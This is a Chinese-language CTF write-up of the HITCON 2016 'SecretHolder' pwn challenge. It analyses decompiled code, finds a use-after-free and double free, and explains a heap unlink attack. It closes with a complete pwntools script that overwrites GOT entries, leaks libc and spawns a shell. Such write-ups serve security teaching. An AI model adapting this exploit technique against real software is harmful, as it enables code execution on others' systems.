HITCON2016 之 secretfolder

很早就想寫關(guān)于HITCON2016PWN題的一些理解分析,但因?yàn)閼腥诵睦硪煌显偻希裉旖K于可以靜下心來寫一寫writeup,不得不說,hitcon的題目質(zhì)量還是很高,這對于剛?cè)腴Tpwn的我而言,真是再好不過的教程。

這是hitcon2016的第一個pwn

Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

程序邏輯并不復(fù)雜,只不過KeepWipe必須按先后順序執(zhí)行

__int64 sub_40086D()
{
  v3 = *MK_FP(__FS__, 40LL);
  puts("Which level of secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 2 )
  {
    if ( !bigSecret )
    {
      bigSecret_ptr = calloc(1uLL, 0xFA0uLL);
      bigSecret = 1;
      puts("Tell me your secret: ");
      read(0, bigSecret_ptr, 0xFA0uLL);
    }
  }
  else if ( v0 == 3 )
  {
    if ( !hugeSecret )
    {
      hugeSecret_ptr = calloc(1uLL, 0x61A80uLL);
      hugeSecret = 1;
      puts("Tell me your secret: ");
      read(0, hugeSecret_ptr, 0x61A80uLL);
    }
  }
  else if ( v0 == 1 && !smallSecret )
  {
    smallSecret_ptr = calloc(1uLL, 0x28uLL);
    smallSecret = 1;
    puts("Tell me your secret: ");
    read(0, smallSecret_ptr, 0x28uLL);
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

這里依據(jù)選擇指定大小的秘密會申請固定大小內(nèi)存空間,并且對于每種類型都只能創(chuàng)建一次。

__int64 sub_400A27()
{
  v3 = *MK_FP(__FS__, 40LL);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  switch ( v0 )
  {
    case 2:
      free(bigSecret_ptr);
      bigSecret = 0;
      break;
    case 3:
      free(hugeSecret_ptr);
      hugeSecret = 0;
      break;
    case 1:
      free(smallSecret_ptr);
      smallSecret = 0;
      break;
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

上面的代碼進(jìn)行的是wipe操作,但是,程序在free之前沒有檢查指針,并且沒有在free操作之后并沒有將指針置空,因此這里導(dǎo)致了兩個漏洞:UAFdouble free。那么這里可以這樣利用,首先創(chuàng)建一個小堆塊(記為A),然后釋放掉,此時(shí)再申請一個大堆塊(記為B),可以得到和剛釋放的指針相同的指針,即A=B。再觸發(fā)一次free(A),等價(jià)于free(B),但我們依然可以對B進(jìn)行編輯。

keep('small', '')
wipe('small')
keep('huge', '')
wipe('small')   #free again

但依靠上述過程得到的AB并不在同一個內(nèi)存段中(具體原因現(xiàn)在還不清楚,有興趣的同學(xué)可以分析一下sysmalloc函數(shù))

0x00400000         0x00402000         r-xp  /root/桌面/SecretHolder
0x00601000         0x00602000         r--p  /root/桌面/SecretHolder
0x00602000         0x00603000         rw-p  /root/桌面/SecretHolder
0x014ca000         0x014eb000         rw-p  [heap] 
                                              我們期望分配到的位置
0x00007fed74fe5000 0x00007fed7517a000 r-xp  /lib/x86_64-linux-gnu/libc-2.24.so 
                                              實(shí)際分配到位置
0x00007fed7517a000 0x00007fed75379000 ---p  /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed75379000 0x00007fed7537d000 r--p  /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537d000 0x00007fed7537f000 rw-p  /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537f000 0x00007fed75383000 rw-p  mapped
0x00007fed75383000 0x00007fed753a6000 r-xp  /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed7551f000 0x00007fed75583000 rw-p  mapped
0x00007fed755a2000 0x00007fed755a5000 rw-p  mapped
0x00007fed755a5000 0x00007fed755a6000 r--p  /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a6000 0x00007fed755a7000 rw-p  /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a7000 0x00007fed755a8000 rw-p  mapped
0x00007ffd2096c000 0x00007ffd2098d000 rw-p  [stack]
0x00007ffd209f7000 0x00007ffd209f9000 r--p  [vvar]
0x00007ffd209f9000 0x00007ffd209fb000 r-xp  [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

想要使得AB在同一個內(nèi)存段中,只需要先申請一個大堆塊,并釋放掉,然后再進(jìn)行上述步驟即可

keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '')
wipe('small')   #free again

到這里,我們已經(jīng)可以通過編輯B來控制后續(xù)申請的全部堆塊結(jié)構(gòu)內(nèi)容,接下來就可以利用unlink attack來修改全局指針。但是,利用unlink需要滿足一個前提條件:需要執(zhí)行unlink的兩個堆塊不是fastbin。所以,需要構(gòu)造兩個大小大于0x80的塊

keep('small', '')
keep('big', '')

這部分代碼執(zhí)行結(jié)束時(shí)的內(nèi)存分布如下所示

0x20dc000:  0x0 0x31     
0x20dc010:  0xa 0x0       small secret
0x20dc020:  0x0 0x0
0x20dc030:  0x0 0xfb1    
0x20dc040:  0xa 0x0       big secret
0x20dc050:  0x0 0x0
0x20dc060:  0x0 0x0

然后通過renew操作構(gòu)造一個fake fastbin

exploit_st1  = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64((0xfb0 - 0x30) | PREV_INUSE)
renew('huge', exploit_st1) # create two fastbins with same size

覆蓋后內(nèi)存分布如下

0x20dc000:  0x0 0x31     fastbin1
0x20dc010:  0x0 0x0      
0x20dc020:  0x0 0x0
0x20dc030:  0x0 0x31     fake fastbin2
0x20dc040:  0x0 0x0      
0x20dc050:  0x0 0x0      fake big_secret block end
0x20dc060:  0x0 0xf81 
0x20dc070:  0xa 0x0
0x20dc080:  0x0 0x0
...
0x20dcfe0:  0x0 0x0      true big_secret block end
0x20dcfe0:  0x0 0x81021  

這里我們先釋放掉fastbin1fake fastbin2,釋放后的內(nèi)存如下圖所示

0x20dc000:  0x0 0x31
0x20dc010:  0x0 0x0
0x20dc020:  0x0 0x0
0x20dc030:  0x0 0x31
0x20dc040:  0x20dc000   0x0
0x20dc050:  0x0 0x0
0x20dc060:  0x0 0xf81
...
0x20dcfd0:  0x0 0x0     
0x20dcfe0:  0x0 0x81021

那么,當(dāng)申請small_ptr將會得到0x20dc040,但申請big_ptr時(shí)將會得到0x20dcff0,此時(shí)再通過renew('huge',payload)操作構(gòu)造用于unlink操作的堆塊

addr_ptr_small      = 0x6020b0

exploit_st2  = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0)                 # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE)  # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0)               # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size

keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big')       # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)

此時(shí),small_ptr已經(jīng)指向了0x602098renew('small', payload)可以修改bigSecret_ptr,再一次調(diào)用renew('big', payload)進(jìn)行任意內(nèi)存寫

.bss:0000000000602098                                    
.bss:00000000006020A0 ; void *bigSecret_ptr
.bss:00000000006020A0 bigSecret_ptr                
.bss:00000000006020A0                                    
.bss:00000000006020A8 ; void *hugeSecret_ptr
.bss:00000000006020A8 hugeSecret_ptr              
.bss:00000000006020A8                                    
.bss:00000000006020B0 ; void *smallSecret_ptr
.bss:00000000006020B0 smallSecret_ptr  

后續(xù)就比較簡單了,腳本如下

from pwn import *

def keep(type, secret):
    p.recvuntil("Renew secret")
    p.sendline('1')
    p.recvuntil("Huge secret")
    if type=="small":
        p.sendline('1')
    elif type=="big":
        p.sendline('2')
    elif type=="huge":
        p.sendline('3')
    p.recvuntil("your secret:")
    p.sendline(secret)

def wipe(type):
    p.recvuntil("Renew secret")
    p.sendline('2')
    p.recvuntil("Huge secret")
    if type=="small":
        p.sendline('1')
    elif type=="big":
        p.sendline('2')
    elif type=="huge":
        p.sendline('3')


def renew(type, secret):
    p.recvuntil("Renew secret")
    p.sendline('3')
    p.recvuntil("Huge secret")
    if type=="small":
        p.sendline('1')
    elif type=="big":
        p.sendline('2')
    elif type=="huge":
        p.sendline('3')
    p.recvuntil("your secret:")
    p.sendline(secret)

binf = ELF('SecretHolder')
addr_got_stack_fail = binf.got['__stack_chk_fail']
addr_got_memset     = binf.got['memset']
addr_got_main       = binf.got['__libc_start_main']

addr_plt_puts       = binf.plt['puts']
addr_plt_alarm      = binf.plt['alarm']
addr_plt_exit       = binf.plt['exit']

debug = 1
# context.log_level = True
if debug:
    p = process('./SecretHolder')

PREV_INUSE = 1

gdb.attach(p, open('aa'))    
keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '')                        # buf_huge == buf_small
wipe('small')

exploit_st1  = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64(0x81fa0 | PREV_INUSE)

keep('small', '')
keep('big', '')
renew('huge', exploit_st1)
wipe('small')
wipe('big')

addr_ptr_small      = 0x6020b0

exploit_st2  = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0)                 # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE)  # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0)               # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size

keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big')                             # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)

bss_global = 0x6020a0
payload_st1  = '\x00'*0x8
payload_st1 += p64(binf.got['free'])     # buf_big
payload_st1 += p64(binf.got['read'])                   # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew('small', payload_st1)
renew('big', p64(binf.plt['puts']) + p64(binf.plt['puts']+6))
wipe('huge')

offset___libc_start_main_ret = 0x20a40
offset_system = 0x00000000000443d0
offset_dup2 = 0x00000000000f7b90
offset_read = 0x00000000000f7470
offset_write = 0x00000000000f74d0
offset_str_bin_sh = 0x18c3dd

p.recvline()
read_addr = u64(p.recv(6) + '\x00\x00')
lib = ELF('/lib/x86_64-linux-gnu/libc-2.21.so')
system_addr = lib.symbols['system'] - lib.symbols['read'] + read_addr
log.info('got system addr ' + hex(system_addr))
bin_sh = offset_str_bin_sh - offset_read + read_addr

payload_st1  = '\x00'*0x8
payload_st1 += p64(binf.got['free'])     # buf_big
payload_st1 += p64(bin_sh)                   # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew("small", payload_st1)
renew("big", p64(system_addr) + p64(binf.plt['puts']+6))
wipe('huge')

p.interactive()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

推薦閱讀更多精彩內(nèi)容

  • 1. C++基礎(chǔ)知識點(diǎn) 1.1 有符號類型和無符號類型 當(dāng)我們賦給無符號類型一個超出它表示范圍的值時(shí),結(jié)果是初始值...
    Mr希靈閱讀 18,031評論 3 82
  • C語言中內(nèi)存分配 在任何程序設(shè)計(jì)環(huán)境及語言中,內(nèi)存管理都十分重要。在目前的計(jì)算機(jī)系統(tǒng)或嵌入式系統(tǒng)中,內(nèi)存資源仍然是...
    一生信仰閱讀 1,180評論 0 2
  • void* 類型指針:通用變體類型指針;可以不經(jīng)轉(zhuǎn)換,賦給其他指針,函數(shù)指針除外;malloc返回的就是void*...
    冰吉凌閱讀 3,369評論 0 18
  • Java8張圖 11、字符串不變性 12、equals()方法、hashCode()方法的區(qū)別 13、...
    Miley_MOJIE閱讀 3,726評論 0 11
  • 原作者:Babu_Abdulsalam 本文翻譯自CodeProject,轉(zhuǎn)載請注明出處。 引入### Ooops...
    卡巴拉的樹閱讀 30,140評論 13 74